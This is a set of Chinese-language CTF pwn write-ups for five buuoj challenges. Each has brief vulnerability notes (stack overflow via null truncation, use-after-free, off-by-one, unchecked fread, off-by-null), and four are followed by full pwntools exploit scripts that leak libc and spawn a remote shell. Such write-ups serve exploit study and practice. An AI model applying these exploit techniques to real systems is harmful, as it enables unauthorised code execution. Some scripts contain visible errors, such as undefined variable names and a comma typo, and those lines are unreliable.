266 pwnable_silverbullet
create
创造个什么武器,然后武器描述,然后长度是它的什么power。
power_up
那么显然我刚刚如果通过’\x00’的截断,power整成0,那么我这里可以直接溢出。
beat
exp
from pwn import *
context.log_level = "debug"
r = remote('node4.buuoj.cn',25942)
libc = ELF('./32/libc-2.23.so')
elf = ELF('./266')
main = 0x8048954
def create(des):
r.sendlineafter("Your choice :",'1')
r.sendafter("Give me your description of bullet :",des)
def power(des):
r.sendlineafter("Your choice :",'2')
r.sendafter("bullet :",des)
def beat():
r.sendlineafter("Your choice :",'3')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
create('A'*0x20)
power('B'*0x10)
power(p32(0x7FFFFFFF)+"A"*3+p32(puts_plt)+p32(main)+p32(puts_got))
beat()
r.recvuntil('Oh ! You win !!\n')
puts = u32(r.recvuntil('\n',drop=True).ljust(4,'\x00'))
libc_base = puts - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
print "libc_base = " + hex(libc_base)
create('A'*0x20)
power('B'*0x10)
power(p32(0x7FFFFFFF)+"A"*3+p32(system_addr)+p32(main)+p32(bin_sh))
beat()
r.interactive()
267 qwb2018_slient2
确实是比较沉默吧,一点输出没有。
add
size意思是当小于0x7f的时候一定要是16,那我大于不就好了……
然后那个400836是输入函数。
经检验呢是没啥问题。
free
free这块呢确实是有个uaf。
所以非常简单,got表也可以写,然后也有system函数。
exp
from pwn import *
context(os='linux', arch='amd64',log_level='debug')
r = remote("node4.buuoj.cn",29830)
elf=ELF("./267")
system_plt=elf.plt['system']
free_got=elf.got['free']
def create(size,content):
sleep(0.2)
r.sendline('1')
sleep(0.2)
r.sendline(str(size))
sleep(0.2)
r.sendline(content)
def delete(index):
sleep(0.2)
r.sendline('2')
sleep(0.2)
r.sendline(str(index))
create(0x80,'aaaaa')
create(0x80,'/bin/sh\x00')
delete(0)
delete(0)
create(0x80,p64(free_got)+'\x00')
create(0x80,'aaaa')
create(0x80,p64(system_plt))
delete(1)
r.interactive()
268 suctf2018_heap
add
申请两个chunk,大小固定。
del
并没有啥问题。
show
输出也正常、
edit
strlen可以造成off by one的溢出。
所以我们就off by one一套带走就好。
exp
from pwn import *
context,log_level = "debug"
p=remote('node4.buuoj.cn',25766)
elf=ELF('./268')
libc=ELF("./64/libc-2.27.so")
def add(size,content):
p.sendlineafter('edit','1')
p.sendlineafter('len',str(size))
p.sendafter('data',content)
def delete(idx):
p.sendlineafter('edit','2')
p.sendlineafter('id',str(idx))
def show(idx):
p.sendlineafter('edit','3')
p.sendlineafter('id',str(idx))
def edit(idx,content):
p.sendlineafter('edit','4')
p.sendlineafter('id',str(idx))
p.sendafter('data',content)
add(0x88,'a'*0x88)
add(0x88,'\x11'*0x88)
add(0x88,'\x12'*0x88)
edit(0,'b'*0x88+'\xc1')
edit(2,'\x11'*0x20+p64(0)+p64(0x61))
delete(2)
delete(1)
add(0xb0,'\x52'*0x88+p64(0x91)+p64(0x6020C0-0x10))
add(0x88,'d'*0x20)
add(0x88,'\x11'*0x88)
edit(2,p64(0)*2+p64(elf.got['atoi']))
show(0)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['atoi']
system=libcbase+libc.sym['system']
edit(0,p64(system))
sleep(1)
p.sendline('sh')
#add(0x88,'/bin/sh\x00')
#show(2)
p.interactive()
269 pwnable_otp
size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream) 把 ptr 所指向的数组中的数据写入到给定流 stream 中
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream) 从给定流 stream 读取数据到 ptr 所指向的数组中
unsigned long int strtoul(const char *str, char **endptr, int base) 把参数 str 所指向的字符串根据给定的 base 转换为一个无符号长整数(类型为 unsigned long int 型),base 必须介于 2 和 36(包含)之间,或者是特殊值 0。
所以我们发现上面一段程序的逻辑就是
随机开一个文件,v6输进去,然后再输出出来,然后通过命令行传参,比较,相同,就行了。
问题在哪,在fread他没有检测到底有没有读取成功,如果没读取成功会发生啥,如果没有读取成功,ptr始终是0,那么我们v4直接传入0就好啦。
那咋就能让我们不能读取成功,看大佬博客说有个 ulimit命令。
ulimit命令用来限制系统用户对shell资源的访问。
所以我们限制shell所能创建的最大文件为0。
270 qctf_2018_babyheap
add
逻辑简单。
显然有个off by null。
free
干干净净
show
常规显示。
所以说白了就是house of ein解决问题。
exp
from pwn import *
r = remote("node4.buuoj.cn", 26026)
def create(size,pay):
r.recvuntil('Your choice :')
r.sendline('1')
r.recvuntil('Size:')
r.sendline(str(size))
r.recvuntil('Data:')
r.send(pay)
def delete(idx):
r.recvuntil('Your choice :')
r.sendline('2')
r.recvuntil('Index')
r.sendline(str(idx))
def show():
r.recvuntil('Your choice :')
r.sendline('3')
create(0x100-8,'A'*0x20+'\n')#0
create(0x650-8,'B'*0x5f0+p64(0x600)+p64(0x50)+'\n')#1
create(0x500,'C'*0x20+'\n')#2
create(0x100,'D'*0x20+'\n')#3
delete(0)
delete(1)
create(0x100-8,'A'*0xf8+'\n')#0
create(0x500-8,'E'*0x10+'\n')#1
create(0x100-8,'F'*0x10+'\n')#4
delete(1)
delete(2)
create(0x500-8,'G'*0x10+'\n')#1
show()
r.recvuntil('4 : ')
libc_base = u64(s.recv(6)+'\x00'*2)-0x3ebca0
create(0x100-8,'H'*0x10+'\n')#2
delete(4)
delete(2)
create(0x100-8,p64(libc+0x3ED8E8)+'\n')
create(0x100-8,p64(libc+0x3ed8e8)+'\n')
create(0x100-8,p64(libc+0x4F440)+'\n')
create(0x200-8,'/bin/sh\x00'+'\n')#6
delete(6)
r.interactive()